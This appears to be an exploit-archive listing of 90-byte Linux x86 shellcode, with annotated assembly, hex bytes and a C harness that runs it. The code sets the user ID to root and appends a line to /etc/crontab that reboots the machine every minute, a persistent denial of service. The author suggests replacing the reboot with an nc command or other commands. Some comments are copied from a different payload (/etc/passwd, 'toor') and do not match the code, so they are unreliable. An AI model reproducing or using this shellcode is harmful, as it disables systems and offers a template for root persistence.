Author

xertux

Risk

[

Security Risk Unsored

]

0day-ID

0day-ID-14238

Category

shellcode

Date add

28-09-2010

Platform

linux/x86

====================================================================================
linux/x86 setreuid(0,0) and add reboot command each minutes in /etc/crontab 90 bytes
====================================================================================

#include <stdio.h>

 /*
  * Title : linux x86 shellcode setreuid(0, 0) and add reboot command each minutes in /etc/crontab, 90 bytes
  * Author : xertux
  * Platform: Linux X86
  * Description : setuid(0) + open(/etc/crontab, e0x441, 0x180) + write(fd, * * * * * root reboot\n, 22) + close(fd)
  * 			Add a line at /etc/crontab => * * * * * root reboot
  *			Reboot the computer each minutes => An user hasn't the time to modify the /etc/crontab file
  *			Dos Shellcode but we can replace reboot command by nc command or many other command...
  * Size : 90 bytes
  * */


/*
BITS 32

;setresuid(0,0,0)
xor eax, eax         ; eax become 0
xor ebx, ebx         ; ebx become 0
xor ecx, ecx         ; ecx become 0
cdq                  ; edx become 0
mov al, 0xa4         ; put call system 164 into eax
int 0x80             ; execute setresuid(0,0,0)

;open(/etc/crontab, e0x441, 0x180))
push edx             ; null string termination
push 0x6261746e      ; push "ntab"
push 0x6f72632f      ; push "/cro"
push 0x6374652f      ; push "/etc"
mov ebx, esp         ; put "/etc//passwd" into ebx
mov WORD cx, 0x441   ; put the O_WRONLY | O_APPEND | O_CREATE argument
mov WORD dx, 0x180   ; put the S_IRUSR | S_IWUSR argument
push BYTE 0x5        ; put call system open on the stack
pop eax              ; get the system call number and insert into eax
int 0x80             ; execute open(/etc//passwd, O_WRONLY | O_APPEND, S_IRUSR | S_IWUSR)

;write(fd, "* * * * * root reboot\n", 22) ==> pass "toor"
mov ebx, eax         ; put the file descriptor return by open into ebx
xor eax, eax         ; eax become 0
push eax             ; null termination string
push WORD 0x0a74     ; push "t\n"
push 0x6f6f6265      ; push "eboo"
push 0x7220746f      ; push "ot r"
push 0x6f72202a      ; push "* ro"
push 0x202a202a      ; push "* * "
push 0x202a202a      ; push "* * "
mov ecx, esp         ; put "* * * * * root reboot\n" into ebx
push BYTE 22         ; put the size of line written on the stack
pop edx              ; get the size into edx
mov al, 0x4          ; put the call system write into eax
int 0x80             ; execute write(fd, * * * * * root reboot\n", 22)

;close(fd)
push BYTE 0x6        ; put the call system close on the stack
pop eax              ; put the call system number into eax
int 0x80             ; execute close(fd)

*/

char shellcode[] =
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x52\x68\x6e\x74\x61"
"\x62\x68\x2f\x63\x72\x6f\x68\x2f\x65\x74\x63\x89\xe3\x66\xb9\x41"
"\x04\x66\xba\x80\x01\x6a\x05\x58\xcd\x80\x89\xc3\x31\xc0\x50\x66"
"\x68\x74\x0a\x68\x65\x62\x6f\x6f\x68\x6f\x74\x20\x72\x68\x2a\x20"
"\x72\x6f\x68\x2a\x20\x2a\x20\x68\x2a\x20\x2a\x20\x89\xe1\x6a\x16"
"\x5a\xb0\x04\xcd\x80\x6a\x06\x58\xcd\x80";

int main()
{
	printf("[*] Shellcode - length: %d\n", strlen(shellcode));
	(*(void(*)())shellcode)();
	return 0;
}



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